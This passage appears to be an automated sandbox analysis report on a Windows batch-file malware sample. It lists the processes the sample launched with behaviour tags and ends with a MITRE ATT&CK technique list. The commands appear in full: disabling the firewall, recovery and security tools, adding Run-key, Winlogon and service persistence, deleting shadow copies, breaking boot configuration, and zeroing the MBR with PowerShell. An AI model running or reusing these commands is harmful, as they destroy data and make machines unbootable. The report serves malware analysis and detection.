  netsh advfirewall set allprofiles state off #
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:640
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\shutdown.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3636
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\logoff.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4944
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1900
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4696
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3484
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4492
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1328
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4304
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:1480
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4156
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3760
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:308
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
  2⤵
  PID:456
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:960
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4424
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:3540
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
  2⤵
  PID:3296
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
  2⤵
  PID:980
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1248
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
  2⤵
  PID:4612
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:4056
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
  2⤵
  PID:1356
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
  2⤵
  PID:536
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:2020
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2712
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
  2⤵
  PID:1776
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
  2⤵
  PID:4452
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:5096
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:3228
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2060
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:1520
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2088
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4648
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:4044
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3508
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:2292
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:4324
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:3364
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
  2⤵
  PID:3400
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:4632
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:4148
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
  2⤵
  PID:312
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
  2⤵
  PID:1996
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
  2⤵
  PID:1196
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
  2⤵
  PID:2440
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
  2⤵
  PID:4716
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies visibility of hidden/system files in Explorer
  PID:1888
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:4860
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
  2⤵
  PID:848
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
  2⤵
  PID:4672
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:2420
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:4960
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
  2⤵
  PID:4844
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
  2⤵
  PID:3264
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
  2⤵
  PID:3908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  PID:4384
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:716
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:3520
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4252
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2120
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
  2⤵
  PID:5060
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where "NetEnabled=true" call Disable
  2⤵
  PID:3128
- C:\Windows\system32\sc.exe
  sc stop WerSvc
  2⤵
  PID:4312
- C:\Windows\system32\sc.exe
  sc config WerSvc start= disabled
  2⤵
  PID:4076
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:3452
- C:\Windows\system32\fsutil.exe
  fsutil usn deletejournal /d C:
  2⤵
  PID:4128
- C:\Windows\system32\fsutil.exe
  fsutil volume diskfree C:
  2⤵
  PID:2132
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3920
- C:\Windows\system32\sc.exe
  sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
  2⤵
  - Launches sc.exe
  PID:2372
- C:\Windows\system32\sethc.exe
  sethc.exe 251
  2⤵
  PID:4560
- C:\Windows\system32\reg.exe
  reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
  2⤵
  PID:4172
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:3968
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
  2⤵
  PID:3312
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  2⤵
  PID:3972
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1740
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3040
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3744
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4696
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Updater" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:1544
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:4272
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2⤵
  PID:3808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
  2⤵
  - Writes to the Master Boot Record (MBR)
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2700
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2332
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4356
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1100
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1820
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3188
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
  2⤵
  PID:2640
- C:\Windows\system32\sc.exe
  sc stop SDRSVC
  2⤵
  - Launches sc.exe
  PID:4408
- C:\Windows\system32\sc.exe
  sc config SDRSVC start= disabled
  2⤵
  - Launches sc.exe
  PID:4648
- C:\Windows\system32\bcdedit.exe
  bcdedit /set nx AlwaysOff
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3020
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2012

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:4336

C:\Windows\system32\takeown.exe
takeown /f "C:\*" /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry